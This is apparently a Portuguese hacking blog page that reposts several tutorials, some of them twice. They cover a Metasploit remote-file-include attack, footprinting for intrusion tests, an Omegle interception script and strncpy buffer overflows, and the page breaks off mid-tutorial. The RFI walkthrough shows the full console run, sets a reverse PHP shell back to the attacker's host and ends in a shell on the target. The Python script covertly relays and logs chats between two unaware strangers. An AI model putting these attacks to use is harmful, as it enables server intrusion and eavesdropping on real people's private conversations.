É um ótimo material na wiki do Back-Track .
Pentesting VoIP
Mostrando postagens com marcador PenTest. Mostrar todas as postagens
Mostrando postagens com marcador PenTest. Mostrar todas as postagens
Penetration Testing in the Real World
Opa moçada, tava aqui dando uma olhada em alguns videos, dentre eles achei um bem pertinente e abrangente na questão de analise, busca e explotação de falhas, entao, fica com o video ae :
Using the Metasploit PHP Remote File Include Module
Metasploit tem um PHP nifty Remote File Include module que lhe permite obter uma shell de comando a partir de uma RFI.
Não é muito complicado de se usar, defina de forma normal as opções do seu RHOST/RPORT, defina o PATH e defina o seu PHPURI com o path vuln e coloque XXpathXX onde normalmente estaria o seu shell php. Então pegamos algo simples como "Text-File Login Remote File Include" que tem uma string vulneravel :
Dei uma traduzida pra galera pegar mais facil .
original : http://carnal0wnage.attackresearch.com/node/421
Não é muito complicado de se usar, defina de forma normal as opções do seu RHOST/RPORT, defina o PATH e defina o seu PHPURI com o path vuln e coloque XXpathXX onde normalmente estaria o seu shell php. Então pegamos algo simples como "Text-File Login Remote File Include" que tem uma string vulneravel :
- CÓDIGO:
/[path]/slogin_lib.inc.php?slogin_path=[remote_txt_shell]
and make your PHPURI
PHPURI /slogin_lib.inc.php?slogin_path=XXpathXX
let's see it in action
msf > search php_include
[*] Searching loaded modules for pattern 'php_include'...
Exploits
========
Name Rank Description
---- ---- -----------
unix/webapp/php_include excellent PHP Remote File Include Generic Exploit
msf > use exploit/unix/webapp/php_include
msf exploit(php_include) > info
Name: PHP Remote File Include Generic Exploit
Version: 8762
Platform: PHP
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Provided by:
hdm
egypt
Available targets:
Id Name
-- ----
0 Automatic
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PATH / yes The base directory to prepend to the URL to try
PHPRFIDB /home/cg/evil/msf3/dev2/data/exploits/php/rfi-locations.dat no A local file containing a list of URLs to try, with XXpathXX replacing the URL
PHPURI no The URI to request, with the include parameter changed to XXpathXX
Proxies no Use a proxy chain
RHOST yes The target address
RPORT 80 yes The target port
SRVHOST 0.0.0.0 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Space: 32768
Description:
This module can be used to exploit any generic PHP file include
vulnerability, where the application includes code like the
following:
msf exploit(php_include) > set PHPURI /slogin_lib.inc.php?slogin_path=XXpathXX
PHPURI => /slogin_lib.inc.php?slogin_path=XXpathXX
msf exploit(php_include) > set PATH /1/
PATH => /1/
msf exploit(php_include) > set RHOST 192.168.6.68
RHOST => 192.168.6.68
msf exploit(php_include) > set RPORT 8899
RPORT => 8899
msf exploit(php_include) > set PAYLOAD php/reverse_php
PAYLOAD => php/reverse_php
msf exploit(php_include) > set LHOST 192.168.6.140
LHOST => 192.168.6.140
msf exploit(php_include) > exploit
[*] Started bind handler
[*] Using URL: http://192.168.6.140:8080/RvSIqhdft
[*] PHP include server started.
[*] Sending /1/slogin_lib.inc.php?slogin_path=%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%36%2e%31%34%30%3a%38%30
%38%30%2f%52%76%53%49%71%68%64%66%74%3f
[*] Command shell session 1 opened (192.168.6.140:34117 -> 192.168.6.68:8899) at Sun May 09 21:37:26 -0400 2010
dir
0.jpeg header.inc.php license.txt slog_users.txt version.txt
1.jpeg index.asp old slogin.inc.php
adminlog.php install.txt readme.txt slogin_genpass.php
footer.inc.php launch.asp slog_users.php slogin_lib.inc.php
id uid=33(www-data) gid=33(www-data) groups=33(www-data)
Dei uma traduzida pra galera pegar mais facil .
original : http://carnal0wnage.attackresearch.com/node/421
Introdução ao Cracking com Ollydbg do Zero.
A idéia destes tutoriais são de dar uma base para todos os estudantes iniciantes na arte do Cracking com Ollydbg além de dar uma boa norteada na era de Engenharia Reversa .
Em português :
Em português :
Bypassing UAC with User Privilege under Windows Vista/7 – Mirror
Essa é uma nova falha descoberta a pouco tempo, um 0day do Windows Seven e Vista .
Sobre o Autor : http://www.codeproject.com/Members/noobpwnftw
Video de Demonstração : http://www.exploit-db.com/movies/uacvideo.swf
Exploit :
[Tutorial] Teste de Intrusão - Parte 1
Este é o primeiro de 5 ou 6 tutoriais que vou criar sobre testes de intrusão, sei que muita gente pode não compreender certos termos em Português de Portugal, mas esta é a minha língua, por isso me desculpem, afinal sempre é melhor que em inglês para muitos dos casos.
O tutorial não segue há risca um teste de penetração simplificado, por isso não esperem grandes detalhes no tutorial, por trata-se de um fórum sou obrigado a resumir grande parte dos passos.
Vou tentar pelo menos criar 2 capítulos por semana, conforme o tempo disponível e a vontade de escrever, que não será grandes problemas visto que adoro escrever.
Boa leitura e espero que assimilem alguma informação nas seguintes frases.
Vamos lá então:
É legal, que te paguem por romper cristais é melhor a que te paguem por regulá-los. Esta é uma piada (portuguesa) que fiz mil vezes porque realmente o sinto assim. Os testes de Intrusão ou teste de penetração (pentests) são divertidos, muito divertidos diria eu. Neste artigo queria falar-vos dos passos para levar a cabo um teste de penetração em uma empresa. Mesmo que a grandes rasgos os testes de penetração são todos similares é certo que cada um tem sua arte e seu ponto forte.
Auditoria de BlackBox:
Os testes de penetração não chegam em ser uma auditoria já que estas devem ser exaustivas em extensão e profundidade, isto é, devem avaliar todos os riscos, todos os “caminhos” e avaliar o nível de cada um deles. Um pentest é encontrar um caminho para resolver o sudoku. O certo é que quando se realiza um teste de intrusão no final sai quase tudo, incluído, o que é mais importante, as más práticas de configuração, implementação ou desenvolvimento, mas é preciso deixar clara a diferença entre uma auditoria e um teste de intrusão.
Quando se realiza uma auditoria de segurança estas serão diferentes se realizam desde dentro da rede com uma conta pouco privilegiada, desde Internet sem nenhuma credencial ou desde dentro com os privilégios do próprio administrador. Se devem realizar todas, não é que uma seja melhor que outra, todas se complementam e dão diferente informação. As que se realizam desde fora e sem nenhuma credencial se chamam auditorias de BlackBox, enquanto as que as que se realizam desde dentro se chamam auditorias de WhiteBox.
Poderíamos dizer que um teste de intrusão é uma auditoria de BlackBox e a diferença será se se buscam todos os caminhos ou só se procura justificar a necessidade de uma auditoria de segurança em profundidade. Sim, mesmo que pareça estranho em muitas companhias a dia de hoje ainda é preciso justificar a necessidade de uma auditoria de segurança. Porque… a quem lhe importa se amanhã no Site põem um graffiti ou se os dados do banco de dados foram mudados parcialmente durante os últimos três meses e não podemos recuperar nenhuma cópia de bases de dados porque não temos garantia que nenhuma seja confiável?
Começa a festa:
Em primeiro lugar você deve escolher o ponto de execução do teste, como já vimos antes, talvez queremos realizar uma auditoria simulando que somos um usuário externo ou talvez, pensemos que o inimigo é um cliente remoto ou possa ser um trabalhador interno. Quem sabe? Ou não? Escolhemos o ponto de execução e começa a campanha. Para isso começamos pela fases de “combate”.
Eleição de objectivos:
É preciso buscar onde pode haver uma porta para entrar dentro e fazer…¡já se verá! Ainda é em breve, não nos pomos objectivos, se vai conquistando pouco a pouco o inimigo. Para isso vamos analisar os activos da empresa expostos a nosso ponto de execução. Isto é, desde onde estamos que serviços e/ou servidores estão em nossa linha de tiro. Servidores site, servidores de conexões VPN, o servidor de correio, de arquivos, de dns, etc…. Inventariamos os activos a testar e começamos a segunda fase.
Recolha de Informação:
Que nos interessa? TUDO. Toda informação que se possa conseguir é útil, sinto dizer isto mas até a informação sobre as pessoas que operam e ou trabalham na empresa directa ou indirectamente com os sistemas é útil. Para isso realizamos duas batidas de recolhida de informação diferentes utilizando duas filosofias diferentes. Em primeiro lugar vamos apanhar toda a informação que seja pública da empresa e dos objectivos. É pública, por tanto a recolhemos e aprendamos tudo o que possamos deles. As ferramentas que utilizamos são ferramentas de Footprinting ou de seguimento ou rastros de pegadas.
Footprinting:
As ferramentas que vamos utilizar são simples públicas e “legais” isto é, ainda não necessitaríamos um documento de Exoneração de Responsabilidades que nos autorize a realizar o teste, com o que se quer testar você pode fazê-lo com quem você deseje só por praticar.
Para conhecer a informação da empresa começamos por consultar o servidor DNS para ver que servidores têm registados com que serviços. Normalmente vamos tirar as Direcções de IP dos servidores DNS, dos servidores Web, dos servidores de correio e … tudo o que se possa. Para fazer esta parte eu uso o próprio Nslookup que vem no sistema e com simples comandos podemos tirar toda esta informação.
Nslookup:
Quando entramos no interface de comandos de nslookup estamos realizando consultas directamente contra o servidor de DNS que temos configurado em nossa máquina, por tanto primeiro é averiguar qual é o servidor de dns de nosso objectivo e perguntar-lhe a ele. Para isso escolhemos o tipo de registo que queremos consultar com o comando set type. Para tirar os servidores dns: set type=ns; Para os hosts: set type=a; para os redireccionadores de correio: set type=mx, etc….
Uma vez eleito o tipo se realiza a petição de resolução com o domínio que se quer consultar e nos devolve as Direcções de IP dos servidores DNS primário e secundário. Por tanto quando saibamos quais são, configuramos a esses servidores como os receptores de nossas consultas com o comando: Server IP e uma vez que estejamos ali tiramos toda a informação pública que tenhamos. Se o DNS está logo que configurado nos permitirá duas coisas que nunca se devem permitir, a transferência de zonas e a lista de todos os registos. Para isso basta conectar-se ao servidor de dns e desde o nslookup e realizar um simples teste com o comando ls nome_de_domínio. Se cola, nos retornará toda a informação da zona na tela. E perguntando ao registo SOA da Zona DNS poderemos saber qual é o correio do responsável do dns e o mais provável webmaster.
Da informação que extraiamos daqui poderemos saber coisas como se os servidores estão em hosting, housing ou os tem a companhia, se têm serviços de apoio externos, se o administrador é cuidadoso e detalhista ou não. Pensem que o processo de ataque pode depender destes pequenos você detalhes. Imaginemos um serviço Web de uma empresa que está em hosting, se compramos um domino no mesmo fornecedor teremos acesso ao mesmo servidor de nosso objectivo quase mais de 100 perus ao ano e atacar a um companheiro de hosting oferece a possibilidade de um novo caminho digno de explorar.
Neste exemplo, com uma empresa escolhida ao acaso, o tugamania.com por exemplo, veremos o que ele nos mostra em suas propriedades, se pode fazer “ls” do domínio que permite ver a lista de todos os servidores, e o IP interno de um servidor muito, muito significativo, que se chama bd (Banco de Dados?) com um direccionamentos 192.168.1.1. Curioso.
Traçar e Posicionar:
Uma vez que se têm os objectivos iniciais marcados com direcções IPS o seguinte é situá-los na rede e geograficamente, pode dar-nos alguma informação curiosa. Ferramentas como tracert ou o Visualroute nos vão permitir averiguar qual é a localização física e quem são os seus provedores de acesso a Internet.
Baixar em http://visualroute.visualware.com
Nele visualizamos as redes que lhe conectam, neste caso podemos ver quem é seu fornecedor de serviços de Internet.
Whois:
Quando uma empresa regista um domínio na Internet deve encher uma série de dados no registador que devem estar em uma base de dados de informação que se chama Whois. A informação que se regista neste banco de dados pode proteger-se parcialmente configurando-se no registo, mas por defeito toda ela é pública. Cada registador oferece ferramentas de acesso ao banco de dados whois para que qualquer possa consultá-la.
Whois online em http://samspade.org/
Baixar em http://www.webmasterfree.com/samspade.html
Spiders (aranhas de Internet):
Usem a informação que os spiders já recolheram e aprende a tirar-lhe partido às bases de dados sobre as lugares que têm nossos amigos os buscadores. Existe um banco de dados que se chama Google Hacking Database (GHD) que tem catalogadas em diferentes categorias correntes de busca para usar-se no google para tirar informação para hacking de empresas através das bases de dados do buscador google. Há uma secção que me encanta se chama “Passwords” e a explicação que dão no próprio banco de dados sobre essa categoria é: “FOR THE LOVE OF GOD, GOOGLE FINDS PASSWORDS”. Aprende a fuçar (termo vosso) no google/msn search para seguirem os rastros da empresa e dos administradores, te surpreenderá o que pode fazer um administrador de uma empresa com seus correios corporativos.
Acessar em http://johnny.ihackstuff.com
Fim do primeiro Capitulo...
Autor: placker
O tutorial não segue há risca um teste de penetração simplificado, por isso não esperem grandes detalhes no tutorial, por trata-se de um fórum sou obrigado a resumir grande parte dos passos.
Vou tentar pelo menos criar 2 capítulos por semana, conforme o tempo disponível e a vontade de escrever, que não será grandes problemas visto que adoro escrever.
Boa leitura e espero que assimilem alguma informação nas seguintes frases.
Vamos lá então:
É legal, que te paguem por romper cristais é melhor a que te paguem por regulá-los. Esta é uma piada (portuguesa) que fiz mil vezes porque realmente o sinto assim. Os testes de Intrusão ou teste de penetração (pentests) são divertidos, muito divertidos diria eu. Neste artigo queria falar-vos dos passos para levar a cabo um teste de penetração em uma empresa. Mesmo que a grandes rasgos os testes de penetração são todos similares é certo que cada um tem sua arte e seu ponto forte.
Auditoria de BlackBox:
Os testes de penetração não chegam em ser uma auditoria já que estas devem ser exaustivas em extensão e profundidade, isto é, devem avaliar todos os riscos, todos os “caminhos” e avaliar o nível de cada um deles. Um pentest é encontrar um caminho para resolver o sudoku. O certo é que quando se realiza um teste de intrusão no final sai quase tudo, incluído, o que é mais importante, as más práticas de configuração, implementação ou desenvolvimento, mas é preciso deixar clara a diferença entre uma auditoria e um teste de intrusão.
Quando se realiza uma auditoria de segurança estas serão diferentes se realizam desde dentro da rede com uma conta pouco privilegiada, desde Internet sem nenhuma credencial ou desde dentro com os privilégios do próprio administrador. Se devem realizar todas, não é que uma seja melhor que outra, todas se complementam e dão diferente informação. As que se realizam desde fora e sem nenhuma credencial se chamam auditorias de BlackBox, enquanto as que as que se realizam desde dentro se chamam auditorias de WhiteBox.
Poderíamos dizer que um teste de intrusão é uma auditoria de BlackBox e a diferença será se se buscam todos os caminhos ou só se procura justificar a necessidade de uma auditoria de segurança em profundidade. Sim, mesmo que pareça estranho em muitas companhias a dia de hoje ainda é preciso justificar a necessidade de uma auditoria de segurança. Porque… a quem lhe importa se amanhã no Site põem um graffiti ou se os dados do banco de dados foram mudados parcialmente durante os últimos três meses e não podemos recuperar nenhuma cópia de bases de dados porque não temos garantia que nenhuma seja confiável?
Começa a festa:
Em primeiro lugar você deve escolher o ponto de execução do teste, como já vimos antes, talvez queremos realizar uma auditoria simulando que somos um usuário externo ou talvez, pensemos que o inimigo é um cliente remoto ou possa ser um trabalhador interno. Quem sabe? Ou não? Escolhemos o ponto de execução e começa a campanha. Para isso começamos pela fases de “combate”.
Eleição de objectivos:
É preciso buscar onde pode haver uma porta para entrar dentro e fazer…¡já se verá! Ainda é em breve, não nos pomos objectivos, se vai conquistando pouco a pouco o inimigo. Para isso vamos analisar os activos da empresa expostos a nosso ponto de execução. Isto é, desde onde estamos que serviços e/ou servidores estão em nossa linha de tiro. Servidores site, servidores de conexões VPN, o servidor de correio, de arquivos, de dns, etc…. Inventariamos os activos a testar e começamos a segunda fase.
Recolha de Informação:
Que nos interessa? TUDO. Toda informação que se possa conseguir é útil, sinto dizer isto mas até a informação sobre as pessoas que operam e ou trabalham na empresa directa ou indirectamente com os sistemas é útil. Para isso realizamos duas batidas de recolhida de informação diferentes utilizando duas filosofias diferentes. Em primeiro lugar vamos apanhar toda a informação que seja pública da empresa e dos objectivos. É pública, por tanto a recolhemos e aprendamos tudo o que possamos deles. As ferramentas que utilizamos são ferramentas de Footprinting ou de seguimento ou rastros de pegadas.
Footprinting:
As ferramentas que vamos utilizar são simples públicas e “legais” isto é, ainda não necessitaríamos um documento de Exoneração de Responsabilidades que nos autorize a realizar o teste, com o que se quer testar você pode fazê-lo com quem você deseje só por praticar.
Para conhecer a informação da empresa começamos por consultar o servidor DNS para ver que servidores têm registados com que serviços. Normalmente vamos tirar as Direcções de IP dos servidores DNS, dos servidores Web, dos servidores de correio e … tudo o que se possa. Para fazer esta parte eu uso o próprio Nslookup que vem no sistema e com simples comandos podemos tirar toda esta informação.
Nslookup:
Quando entramos no interface de comandos de nslookup estamos realizando consultas directamente contra o servidor de DNS que temos configurado em nossa máquina, por tanto primeiro é averiguar qual é o servidor de dns de nosso objectivo e perguntar-lhe a ele. Para isso escolhemos o tipo de registo que queremos consultar com o comando set type. Para tirar os servidores dns: set type=ns; Para os hosts: set type=a; para os redireccionadores de correio: set type=mx, etc….
Uma vez eleito o tipo se realiza a petição de resolução com o domínio que se quer consultar e nos devolve as Direcções de IP dos servidores DNS primário e secundário. Por tanto quando saibamos quais são, configuramos a esses servidores como os receptores de nossas consultas com o comando: Server IP e uma vez que estejamos ali tiramos toda a informação pública que tenhamos. Se o DNS está logo que configurado nos permitirá duas coisas que nunca se devem permitir, a transferência de zonas e a lista de todos os registos. Para isso basta conectar-se ao servidor de dns e desde o nslookup e realizar um simples teste com o comando ls nome_de_domínio. Se cola, nos retornará toda a informação da zona na tela. E perguntando ao registo SOA da Zona DNS poderemos saber qual é o correio do responsável do dns e o mais provável webmaster.
Da informação que extraiamos daqui poderemos saber coisas como se os servidores estão em hosting, housing ou os tem a companhia, se têm serviços de apoio externos, se o administrador é cuidadoso e detalhista ou não. Pensem que o processo de ataque pode depender destes pequenos você detalhes. Imaginemos um serviço Web de uma empresa que está em hosting, se compramos um domino no mesmo fornecedor teremos acesso ao mesmo servidor de nosso objectivo quase mais de 100 perus ao ano e atacar a um companheiro de hosting oferece a possibilidade de um novo caminho digno de explorar.
Neste exemplo, com uma empresa escolhida ao acaso, o tugamania.com por exemplo, veremos o que ele nos mostra em suas propriedades, se pode fazer “ls” do domínio que permite ver a lista de todos os servidores, e o IP interno de um servidor muito, muito significativo, que se chama bd (Banco de Dados?) com um direccionamentos 192.168.1.1. Curioso.
Traçar e Posicionar:
Uma vez que se têm os objectivos iniciais marcados com direcções IPS o seguinte é situá-los na rede e geograficamente, pode dar-nos alguma informação curiosa. Ferramentas como tracert ou o Visualroute nos vão permitir averiguar qual é a localização física e quem são os seus provedores de acesso a Internet.
Baixar em http://visualroute.visualware.com
Nele visualizamos as redes que lhe conectam, neste caso podemos ver quem é seu fornecedor de serviços de Internet.
Whois:
Quando uma empresa regista um domínio na Internet deve encher uma série de dados no registador que devem estar em uma base de dados de informação que se chama Whois. A informação que se regista neste banco de dados pode proteger-se parcialmente configurando-se no registo, mas por defeito toda ela é pública. Cada registador oferece ferramentas de acesso ao banco de dados whois para que qualquer possa consultá-la.
Whois online em http://samspade.org/
Baixar em http://www.webmasterfree.com/samspade.html
Spiders (aranhas de Internet):
Usem a informação que os spiders já recolheram e aprende a tirar-lhe partido às bases de dados sobre as lugares que têm nossos amigos os buscadores. Existe um banco de dados que se chama Google Hacking Database (GHD) que tem catalogadas em diferentes categorias correntes de busca para usar-se no google para tirar informação para hacking de empresas através das bases de dados do buscador google. Há uma secção que me encanta se chama “Passwords” e a explicação que dão no próprio banco de dados sobre essa categoria é: “FOR THE LOVE OF GOD, GOOGLE FINDS PASSWORDS”. Aprende a fuçar (termo vosso) no google/msn search para seguirem os rastros da empresa e dos administradores, te surpreenderá o que pode fazer um administrador de uma empresa com seus correios corporativos.
Acessar em http://johnny.ihackstuff.com
Fim do primeiro Capitulo...
Autor: placker
Todos conhecem o site Omegle!
Um mensageiro online, onde diversas pessoas de varios paises podem se comunicar através de uma escolha aleatória do servidor, onde a maioria dos usuários estão atraz de sexo explicito e selvagem!
Nesse post irei ilustrar como realizar uma técnica de man-in-middle capturando conversars que estão sendo realizadas neste momento.
Vamos analizar uma simples conversa usando um sniffer qualquer
O que podemos notar?
O Omegle é desprovido de qualquer tipo de criptografia e
que usa o método POST para comunicação.
Exemplo ilustrativo da comunicação:
Como capturar as conversas?
Use o exploit abaixo: =P
Pra quem não sabe o script acima é em python.
Tutorial recriado por SpecTrum_Bill (Fazendo um spamzinho *-*) http://unauthorizedaccess.wordpress.com/2010/02/12/omegle-man-in-middle-ataque/
Original por bear24rw
Abraços!
Um mensageiro online, onde diversas pessoas de varios paises podem se comunicar através de uma escolha aleatória do servidor, onde a maioria dos usuários estão atraz de sexo explicito e selvagem!
Nesse post irei ilustrar como realizar uma técnica de man-in-middle capturando conversars que estão sendo realizadas neste momento.
Vamos analizar uma simples conversa usando um sniffer qualquer
O que podemos notar?
O Omegle é desprovido de qualquer tipo de criptografia e
que usa o método POST para comunicação.
Exemplo ilustrativo da comunicação:
You: POST omegle.com/start
Omg: HTTP "123456" <-- 6 caracteres aleatórios p/ o 'username' (a-z A-Z 0-9 _ -)
You: POST omegle.com/events?id=123456
Omg: HTTP [["connected"]]
You: POST omegle.com/send?msg=hello&id=123456
Omg: HTTP win <-- Bom!
You: POST omegle.com/events?id=123456
Omg: HTTP [["gotMessage", "hey"]] <-- Menssagem
You: POST omegle.com/disconnect?id=123456 <-- saiu do chat
Como capturar as conversas?
Use o exploit abaixo: =P
from httplib import *
from urllib import *
from threading import *
from Queue import *
from time import *
headers = {"Content-type": "application/x-www-form-urlencoded; charset=utf-8", "Accept": "application/json"}
class Send_Thread( Thread ):
def __init__(self, user, que):
Thread.__init__(self)
self.que = que
self.con = HTTPConnection("omegle.com:80")
self.user = user
def run ( self ):
done = False
while done == False:
#print "-------------------------------------"
try:
#print "Checking Que"
packet = self.que.get()
#print packet
if packet[0] == "message":
params = urlencode({'msg':packet[1], 'id':self.user})
self.con.request("POST", "/send", params, headers)
response = self.con.getresponse().read()
elif packet[0] == "typing":
params = urlencode({'id':self.user})
self.con.request("POST", "/typing", params, headers)
response = self.con.getresponse().read()
elif packet[0] == "disconnect":
params = urlencode({'id':self.user})
self.con.request("POST", "/disconnect", params, headers)
response = self.con.getresponse().read()
done = True
self.que.task_done()
#print self.user + " - SENT - " + message
except:
#print "QUE ERROR"
pass
class Recv_Thread( Thread ):
def __init__(self, user, que, color):
Thread.__init__(self)
self.que = que
self.user = user
self.con = HTTPConnection("omegle.com:80")
self.params = urlencode({'id':user})
self.color = color
def run ( self ):
self.user = self.color + self.user
done = False
while done == False:
#print "-------------------------------------"
self.con.request("POST", "/events", self.params, headers)
chat = self.con.getresponse().read()
#print chat
if chat == "null": # null only recieved if stanger left
chat = "[['strangerDisconnected']]" # format so it falls through tree
if chat == "[]": # weird response from omegle
chat = "[['']]" # format it so it falls through switch
chat = eval(chat)[0]
if chat[0] == "connected":
print self.user + " - CONNECTED"
elif chat[0] == "waiting":
print self.user + " - WAITING"
elif chat[0] == "gotMessage":
self.que.put(["message", chat[1]])
print "-------------------------------------"
print self.user + " - " + chat[1]
elif chat[0] == "typing":
self.que.put(["typing", ''])
#print self.user + " - TYPING"
elif chat[0] == "stoppedTyping":
pass # todo: que stopped typing
#print self.user + " - STOPPED TYPING"
elif chat[0] == "strangerDisconnected":
self.que.put(["disconnect", ''])
print self.user + " - DISCONNECTED"
done = True
else:
print self.user + " - ERROR"
print chat
con_one = HTTPConnection("omegle.com:80")
con_two = HTTPConnection("omegle.com:80")
con_one.request("POST", "/start", 0, headers)
con_two.request("POST", "/start", 0, headers)
id_one = eval(con_one.getresponse().read())
id_two = eval(con_two.getresponse().read())
print "One: " + id_one
print "Two: " + id_two
q_one = Queue()
q_two = Queue()
Recv_Thread(id_one, q_one, "\033[0;34m").start()
Recv_Thread(id_two, q_two, "\033[0;31m").start()
Send_Thread(id_one, q_two).start()
Send_Thread(id_two, q_one).start()
Pra quem não sabe o script acima é em python.
Tutorial recriado por SpecTrum_Bill (Fazendo um spamzinho *-*) http://unauthorizedaccess.wordpress.com/2010/02/12/omegle-man-in-middle-ataque/
Original por bear24rw
Abraços!
Exploitando Memoria Adjacente
***********************************
* EXPLOITANDO MEMORIA ADJACENTE *
***********************************
1 - Introducao
2 - O Problema
3 - A Exploitacao
4 - Expansao do Conceito
5 - Terminando
5.1 - Links e Referencias
5.2 - Consideracoes Finais
5.2 - Agradecimentos
---------------
1 - Introducao |
---------------
Os ataques de Buffer Overflows parecem que ainda perdurarao por algum
tempo. Apesar dos esforcos de grande parte da Comunidade de Seguranca,
os exemplos de condicoes de overflow permanecem como uma "constante"
entre os aplicativos de um modo geral.
Ateh onde eu conheco, o conceito de buffer overflow eh apenas um, no
entanto, as tecnicas para implementacao deste conceito sao diversas. E
ateh onde eu sei, o Mudge(antiga L0pht, hoje @stake), foi o primeiro a
expandir para as massas o conceito de buffer overflows. Desde o worm
(Robert Morris, 1988) ateh os nossos dias, muitos programadores tem
procurado diminuir as condicoes de buffer overflows em programas que
manipulam parametros recebidos de um usuario, substituindo funcoes
conhecidas como vulneraveis(strcpy, gets, sprintf) por funcoes que
necessariamente fazem checagem do tamanho dos parametros recebidos
(strncpy, snprintf, etc).
No dia 01 de maior de 2000, twich (twitch@vicar.org) tornou manifesto
uma tecnica capaz de exploitar espacos de memoria adjacente,
especificamente o manuseio incorreto das funcoes ditas seguras(strcnpy,
por exemplo). As Analises de codigo-fonte(auditoria) passaram agora
a incluir todo tipo de funcoes, demonstrando assim que nao basta apenas
a funcao fazer a checagem do tamanho dos parametros, mas outros fatores
passaram a ser essenciais.
Neste documento abordaremos esta tecnica. Conhecimentos em C, Assembly
(AT&T), escrita de exploits(ver docs da Unsek Scene) e linux se fazem
necessarios. E principalmente mentalidade fucadora!
---------------
2 - O Problema |
---------------
Podemos descrever basicamente o problemas com as funcoes ditas seguras
(strncpy, strncat, etc) eh que elas nao sao capazes de terminar
automaticamente os buffers ou strings com um NULL. Como assim?
Vejamos nosso primeiro codigo inicial:
----------------------------------- b1.c ----------------------------------
/* Exemplo de strncpy() */
#include
#include
int main(int argc, char *argv[]){
char buffer[256];
/* Iremos copiar argv[1] para buffer e imprimir */
strncpy(buffer,argv[1],sizeof(buffer));
/* Iremos imprimir o tamanho da string recebida em argv[1] */
printf("strlen: %d | sizeof: %d\n",strlen(buffer), sizeof(buffer));
return 0;
}
--------------------------------------------------------------------
Como sabemos, strcnpy() ira copiar os dados recebidos da linha de
comando ateh chegar o tamanho de buffer(sizeof(buffer)) ou ateh
receber um NULL(\0), vejamos um exemplo de execucao:
kimera3:/work/testes# ./b1 `perl -e 'print "A" x 255'`
strlen: 255 | sizeof: 256
A "anomalia" ocorre quando digitamos mais dados que o tamanho do
buffer de espera. Vejamos:
kimera3:/work/testes# ./b1 `perl -e 'print "A" x 256'`
strlen: 265 | sizeof: 256
kimera3:/work/testes# ./b1 `perl -e 'print "A" x 257'`
strlen: 265 | sizeof: 256
Como podemos notar strlen() contem um tamanho superior ao esperado.
Isso ocorre porque strncpy() nao recebeu o caracter NULL e de alguma
forma uniu dados ateh encontrar um NULL. Podemos clarear mais analisando
o programa abaixo:
-------------------------------- b2.c --------------------------------
/* Exemplo 2 de strncpy() */
#include
#include
int main(int argc, char *argv[]){
char buffer1[20], buffer2[8];
/* Iremos copiar argv[1] para buffer1 */
strncpy(buffer1,argv[1],sizeof(buffer1));
/* Iremos copiar buffer1 para buffer2 */
strncpy(buffer2,buffer1,sizeof(buffer2));
/* Iremos imprimir agora o conteudo de buffer2 */
printf("Buffer2: %s\n",buffer2);
return 0;
}
------------------------------------------------------------------------
Executando este programa, teoricamente deveriamos ter a saida de buffer2,
ou seja, uma string contendo 8 caracteres.Mas vejamos:
kimera3:/work/testes# ./b2 NashLeon
Buffer2: NashLeonNashLeon
NashLeonNashLeon possue 16 caracteres.
No mais a gente pode brincar com isso:
kimera3:/work/testes# ./b2 NashLeonUnsek
Buffer2: NashLeonNashLeonUnsek
kimera3:/work/testes# ./b2 NashLeonUnsekScene
Buffer2: NashLeonNashLeonUnsekScene
kimera3:/work/testes# ./b2 NashLeonUnsekSceneAgain
Buffer2: NashLeonNashLeonUnsekSceneAgxúÿ¿çâ@
Ele imprime justmente porque o strncpy() nao encontrou o caracter
NULL como esperava. Com menos de 8 caracteres, poderiamos ter:
kimera3:/work/testes# ./b2 Nash
Buffer2: Nash
kimera3:/work/testes# ./b2 NashLeo
Buffer2: NashLeo
Ou seja, a execucao e impressao em modo normal e esperado, jah que
temos um NULL na string indicando o termino dela. O stack nesse
caso iria parecer como:
Memoria
Alta
|| ----------------> [Topo do Stack]
|| ----------------> [ 'N' (buffer2 - 0) ]
|| ----------------> [ 'a' (buffer2 - 1) ]
|| ----------------> [ 's' (buffer2 - 2) ]
|| ----------------> [ 'h' (buffer2 - 3) ]
|| ----------------> [ 'L' (buffer2 - 4) ]
|| ----------------> [ 'e' (buffer2 - 5) ]
|| ----------------> [ 'o' (buffer2 - 6) ]
|| ----------------> [ 'n' (buffer2 - 7) ]
|| ----------------> [ 'N' (buffer1 - 0) ]
|| ----------------> [ 'a' (buffer1 - 1) ]
|| ----------------> [ 's' (buffer1 - 2) ]
|| ----------------> [ 'h' (buffer1 - 3) ]
|| ----------------> [ 'L' (buffer1 - 4) ]
|| ----------------> [ 'e' (buffer1 - 5) ]
|| ----------------> [ 'o' (buffer1 - 6) ]
|| ----------------> [ 'n' (buffer1 - 7) ]
|| ----------------> [ 'U' (buffer1 -
]
|| ----------------> [ 'n' (buffer1 - 9) ]
|| ----------------> [ 's' (buffer1 - 10) ]
|| ----------------> [ 'e' (buffer1 - 11) ]
|| ----------------> [ 'k' (buffer1 - 12) ]
|| ----------------> [ 0x00 (buffer1 - 13) ]
||
|| ...
\/
Como podemos ver, este problema eh real e pode ser exploitado. Veremos
como na secao abaixo.
------------------
3 - A Exploitacao |
------------------
Este problema pode ser exploitado de inumeras maneiras. Dependendo
do nivel do atacante, ele pode se aproveitar ateh mesmo do exemplo
inicial postado neste documento. Como este e todos os meus documentos
visam NewBies, veremos inicialmente o exemplo mais trivial de se
exploitar este problema.
Como vimos no exemplo acima, strlen() tende a ser maior do que o
esperado quando enchemos um buffer e strncpy() nao encontra um NULL,
criando assim anomalias entre a interacao de funcoes.
Vejamos abaixo uma possivel implicacao disso:
-------------------------------- v.c ------------------------------------
/* Exemplo inicial de programa vulneravel
* Documento sobre problemas com memoria adjacente
* Nash Leon - nashleon@yahoo.com.br.
*/
#include
#include
int bugada(char *buffer);
int main(int argc,char *argv[]) {
char buf1[512];
char buf2[256];
strncpy(buf2,argv[1],sizeof(buf2));
strncpy(buf1,argv[2],sizeof(buf1));
bugada(buf2);
return 0;
}
int bugada(char *buffer){
char buf3[300];
int i;
/* note que buf3 suporta 300 bytes enquando
* buf2(buffer) teoricamente deveria conter no maximo
* 256.
*/
for(i = 0; i < strlen(buffer); i++){
buf3[i] = buffer[i];
}
}
----------------------------------------------------------------------
Para exploitarmos este programa, nao tem muito segredo. Vamos encher
